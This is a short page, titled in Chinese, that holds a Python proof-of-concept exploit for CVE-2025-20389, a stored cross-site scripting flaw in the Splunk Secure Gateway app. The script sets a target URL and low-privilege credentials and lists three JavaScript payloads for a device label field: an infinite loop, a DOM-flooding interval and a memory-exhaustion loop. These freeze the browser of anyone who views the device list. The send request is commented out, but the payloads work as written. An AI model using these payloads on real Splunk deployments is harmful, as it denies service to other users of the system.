CVE-2025-20389 Splunk Secure Gateway跨站脚本拒绝服务漏洞

import requests import json # Splunk CVE-2025-20389 PoC - Malicious label payload injection # Target: Splunk Secure Gateway App TARGET_URL = "https://target-splunk.com:8089" USERNAME = "low_privilege_user" PASSWORD = "password123" def exploit_cve_2025_20389(): """ This PoC demonstrates the client-side DoS via malicious label field injection. The payload causes browser crash when viewing the device list. """ # Login to Splunk session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } # Malicious payload for label field # This payload causes infinite loop and browser freeze malicious_payloads = [ # Payload 1: Infinite loop causing DoS '<img src=x onerror="while(true){console.log(1)};">', # Payload 2: DOM manipulation exhaustion '<script>setInterval(function(){document.body.innerHTML+="<div>text</div>"},1)</script>', # Payload 3: Memory exhaustion via string concatenation '<script>var s="";while(true){s+=new Array(100000).join("X")}</script>' ] # Add device with malicious label for payload in malicious_payloads: device_data = { "name": "MaliciousDevice", "label": payload, # Injected malicious payload "type": "generic" } # Send request to add device (requires low privilege) # POST /en-US/splunksecuregateway/devices headers = { "Content-Type": "application/json", "X-Splunk-Form-Key": session.cookies.get_dict().get('splunkd_key', '') } # response = session.post( # f"{TARGET_URL}/en-US/splunksecuregateway/devices", # json=device_data, # headers=headers # ) print(f"[*] Payload injected: {payload[:50]}...") print("[*] PoC completed - victims viewing device list will experience DoS") return True if __name__ == "__main__": exploit_cve_2025_20389()